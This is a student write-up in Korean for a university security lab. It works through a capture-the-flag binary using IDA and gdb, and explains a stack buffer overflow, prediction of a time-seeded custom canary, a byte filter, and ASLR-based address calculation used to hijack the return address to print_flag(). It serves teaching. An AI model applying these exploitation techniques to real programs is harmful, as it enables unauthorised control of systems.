#### **Lab 02**

디컴파일러의 일종인 IDA Freeware를 이용해 바이너리 분석을 진행했습니다.

```
1
                        Pseudocode-A
      IDA View-A
                                                O
                                                      Hex View-1
                                                                        А
 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
3
     init(argc, argv, envp);
     puts("Let's spice it up! Trigger print_flag() to obtain your flag.");
     printf("- Address of main(): %p\n", main);
5
     vulnerable();
6
7
     return 0;
8 }
```

• main()의 디컴파일 결과

vulnerable() 함수가 수상합니다.

```
1
                   × E
                             Pseudocode-A
                                               0
                                                                       A
                                                                                               Œ
      IDA View-A
                                                      Hex View-1
                                                                              Structures
                                                                                          Enums
                                                                                                                  _int64 vulnerable()
  1
  2 {
  3
      unsigned int v0; // eax
  4
     int v1; // eax
      __int64 result; // rax
     char v3[24]; // [rsp+0h] [rbp-20h] BYREF
      __int64 v4; // [rsp+18h] [rbp-8h]
  7
  9
      \vee 0 = time(0LL);
10
     srand(v0);
11
      v1 = rand();
      canary = v1;
12
13
      v4 = v1;
      printf("Enter input: ");
14
15
      read(0, v3, 0x40uLL);
16
      for (i = 0; i \le 63; ++i)
 17
18
        if ( \sqrt{3}[i] > 32 \&\& \sqrt{3}[i] <= 84 )
 19
20
          printf("[-] Error: Prohibited byte detected at buf[%d]: 0x%02X\n", (unsigned int)i, (unsigned int)v3[i]);
21
          exit(-1);
 22
 23
      }
24
      result = canary;
25
      if ( v4 != canary )
 26
27
        puts("[-] Error: Canary has been modified");
28
        exit(-1);
 29
9 30
      return result;
31 }
```

• vulnerable()의 디컴파일 결과

time(0)을 이용해 srand를 초기화하고, 이를 이용해 custom canary를 만듭니다. read(0, v3, 0x40)을 통해 v3의 위치에 0x40bytes 만큼을 읽습니다. 그 후, 읽은 byte들에 대해 32보다 크고, 84보다 같거나 작은지 확인합니다. 만약 금지된 byte가 존재한다면 프로그램을 종료합니다.

### 1. vulnerable()의 stack 메모리 맵

vulnerable()의 stack상태를 보기 위해 gdb로 실행된 파일에 breakpoint를 걸고, "aaaaaaaaaaaaaaaa"를 입력해 동적 디버깅을 해보자.

```
0x555555555120 <read@plt>
  4 0x555555555120 <read@plt+0000> endbr64
     0x555555555124 <read@plt+0004>
                                bnd
                                       jmp QWORD PTR [rip+0x2e6d]
                                                                     # 0x555555557f98 <read@got.plt>
     0x55555555512b <read@plt+000b> nop
                                       DWORD PTR [rax+rax*1+0x0]
     0x555555555130 <srand@plt+0000> endbr64
                                       jmp QWORD PTR [rip+0x2e65]
     0x555555555134 <srand@plt+0004> bnd
                                                                     # 0x555555557fa0 <srand@got.plt>
                                       DWORD PTR [rax+rax*1+0x0]
     0x55555555513b <srand@plt+000b> nop
read@plt (
  [#0] Id 1, Name: "target", stopped 0x555555553ad in vulnerable (), reason: SINGLE STEP
[#0] 0x5555555553ad → vulnerable()
[#1] 0x5555555554a6 \rightarrow main()
aaaaaaaaaaaaa
```

read를 통해 입력을 받는 곳에서 "aaaaaaaaaaaaaaaa"를 입력했다.

입력 한 후, x/10gx \$rsp 를 통해 16byte를 rsp부터 10개 읽습니다.

```
gef➤ x/10gx $rsp
0x7fffffffc8b0: 0x6161616161616161
                                         0x6161616161616161
0x7fffffffc8c0: 0x00007fffffffca0a
                                         0x000000004d14e732
0x7ffffffc8d0: 0x00007fffffffc8f0
                                         0x00005555555554a6
                                         0x000000100000000
0x7fffffffc8e0: 0x00007ffffffffca08
0x7ffffffc8f0: 0x0000000000000001
                                         0x00007fffff7dafd90
gef➤ disass main
Dump of assembler code for function main:
   0x00005555555555457 <+0>:
                                 endbr64
   0x00005555555555545c <+5>:
   0x000055555555555545f <+8>:
                                 sub
   0x0000555555555463 <+12>:
   0x00005555555555466 <+15>:
   0x0000555555555546a <+19>:
                                 call
                                            , rip±0xc2a
   0x0000555555555546f <+24>:
                                                                # 0x555555560a0
                                 lea
   0x00005555555555476 <+31>:
                                        0x55555555550f0 <puts@plt>
   0x00005555555555479 <+34>:
                                 call
                                            ,[rip±0xfffffffffffffd2]
   0x0000555555555547e <+39>:
                                                                             # 0x5555555555457 <main>
                                 lea
   0x00005555555555485 <+46>:
   0x0000555555555488 <+49>:
                                              rip±0xc4e]
                                                                # 0x555555560dd
                                 lea
   0x0000555555555548f <+56>:
   0x000055555555555492 <+59>:
                                        0x555555555100 <printf@plt>
   0x00005555555555497 <+64>:
                                 call
   0x00005555555555549c <+69>:
                                        0x55555555534e <vulnerable>
   0x00005555555554a1 <+74>:
                                 call
   0x00005555555554a6 <+79>:
                                        eax,0x0
   0x00005555555554ab <+84>:
                                 leave
   0x000055555555554ac <+85>:
                                 ret
End of assembler dump
```

메모리를 확인하면, "a"의 byte 값인 0x61 이 16개 들어간 것을 확인 할 수 있습니다. 그리고, \$rsp 에서 0x24 만큼 떨어진 곳에는 4 bytes canary와 4 bytes \x00 padding이 들어 있고, \$rsp 로부터 0x40 만큼 떨어진 곳에는 다시 main() 으로 돌아가는 return address가 들어있습니다.

```
$rsp+0x00: v3
$rsp+0x08: v3
$rsp+0x10: v3
$rsp+0x18: canary + \x00 padding
$rsp+0x20: ??
$rsp+0x28: return main()
```

vulnerable()의 메모리 맵은 다음과 같습니다. \$rsp 로부터 24bytes는 v3에 해당하고, 그 다음은 8bytes로 패딩된 4bytes canary가 들어 있습니다. 8bytes 떨어진 곳에는 다시 main() 함수로 돌아가는 return address 가 들어있습니다.

# 2. vulnerable()의 취약점

v3을 보면 char 타입으로 24 bytes의 크기를 가지고 있습니다. read를 통해 64 bytes를 입력받으므로, 입력 범위를 벗어나, 다른 메모리에 접근할 가능성이 있습니다.

위에서 분석한 메모리 맵을 보면, 입력하는 경우에서 \$rsp로부터 0x28 offset 떨어진 곳에 return addess가 담겨 있습니다. stack buffer overflow 취약점을 이용해 이 return address를 임의의 주소를 입력하면 그 주소로 control flow를 변경할 수 있습니다.

# 3. custom canary의 취약점

디컴파일 된 코드를 보면, 다음과 같은 로직으로 custom canary를 만듭니다.

```
v0 = time(OLL);
srand(v0);
v1 = rand();
canary = v1;
```

C의 random 모듈에는 여러 취약점이 존재합니다. 위 코드에서는 time(0), 즉 현재 시간을 사용해 srand()의 seed를 설정합니다. 이 현재 시간은 바이너리가 빌드된 시간이 아니라, 파일을 실행할 때, 결정되므로, 이 seed를 파일을 실행할 때의 시간으로 얻어낼 수 있습니다.

srand()의 seed를 설정하면, rand()를 실행할 때, 항상 동일한 output을 얻을 수 있으므로, 충분히 canary 값을 복구할 수 있습니다. 풀이에서는 python의 ctype 모듈을 이용해 c와 같은 방식으로 srand의 seed 설정과 rand()를 사용할 수 있는 방법을 사용했습니다.

C에서의 rand()를 통해 만들어지는 것은 4bytes의 정수이고, 이것이 x86-64에서 저장되므로, 8bytes 공간에 little endian으로 넣습니다.

## 4. 특정 바이트 금지 로직

```
for ( i = 0; i <= 63; ++i )
{
  if ( v3[i] > 32 && v3[i] <= 84 )
  {
    ...</pre>
```

```
exit(-1);
}
}
```

C언어에서의 random 모듈 LCG (선형 합동 생성기)를 이용합니다.

$$X_{n+1} = (1664525X_n + 1013904223) \mod 2^{32}$$

-> 선형 합동 생성기의 예시.

이 자체로 취약한 난수 생성을 하지만, 모든 바이트가 균일하게 나온다고 가정하면, 0 ~ 32, 85 ~ 255인 바이트만 검사 로직을 통과할 수 있으므로, 204/256의 확률로 통과할 수 있습니다.

canary는 4bytes로, 나머지는 \x00 으로 little endian에 맞춰 패딩되어 있습니다. canary는 C의 rand()로 완전하지는 않지만 랜덤하게 생성되므로, 모든 바이트가 생성될 확률이 같다고 가정하면, 4개의 bytes가 204/256 확률을 모두 통과하면 됩니다.

print\_flag() 함수의 주소를 탐색하면, MSB의 byte는 55 또는, 56 이고, LSB의 bytes는 ea로 고정되어 있습니다. 즉 6개의 bytes만 검사 로직을 통과하면 됩니다.

즉, 204/256 의 확률을 10번 통과하면 되므로, 우리가 만든 exploit이 통과할 확률은 다음과 같습니다.

```
(204/256) ^ 10
```

위를 계산하면, 약 10%의 확률이 나옵니다. 그러므로, exploit을 여러번 반복해 합리적으로 통과할 수 있습니다.

#### 5. ASLR로 print\_flag()를 찾는 로직

```
All defined functions:
Non-debugging symbols:
                     init
                     __cxa_finalize@plt
                     puts@plt
                     printf@plt
                     geteuid@plt
                     read@plt
                     srand@plt
                     execve@plt
                     time@plt
                     setreuid@plt
                     setvbuf@plt
                     exit@plt
                     rand@plt
                     _start
                     deregister_tm_clones
                     register_tm_clones
                     __do_global_dtors_aux
                     frame_dummy
                     init
                     print_flag
                     vulnerable
                     main
                     _fini
```

info func

프로그램을 실행하면 main 의 주소를 얻을 수 있습니다. gdb로 target을 실행하고, info func 을 입력하면, print\_flag()의 주소를 구하기 위해 offset을 구해야합니다. main()의 offset은 0x000000000001457, print\_flag()의 offset은 0x0000000000012ea 이므로, 다음과 같은 계산으로 flag의 주소를 구할 수 있습니다.

address\_flag = address\_main - (0x00000000001457 - 0x000000000012ea

vulnerable() 의 return 주소를 여기서 구한 print\_flag() 의 주소로 덮어쓰면, flag를 얻을 수 있습니다.

csed415-lab02@csed415:/tmp/jjong22/lab02\$ python3 exploit.py
[+] Starting local process '/home/csed415-lab02/target': pid 111
canary: 0x78d27804
0x5568da02e2ea
[\*] Switching to interactive mode
Enter input: [\*] Process '/home/csed415-lab02/target' stopped with exit code 0 (pid 111)
This is your flag:

2번째 hex는 print\_flag()의 주소이다.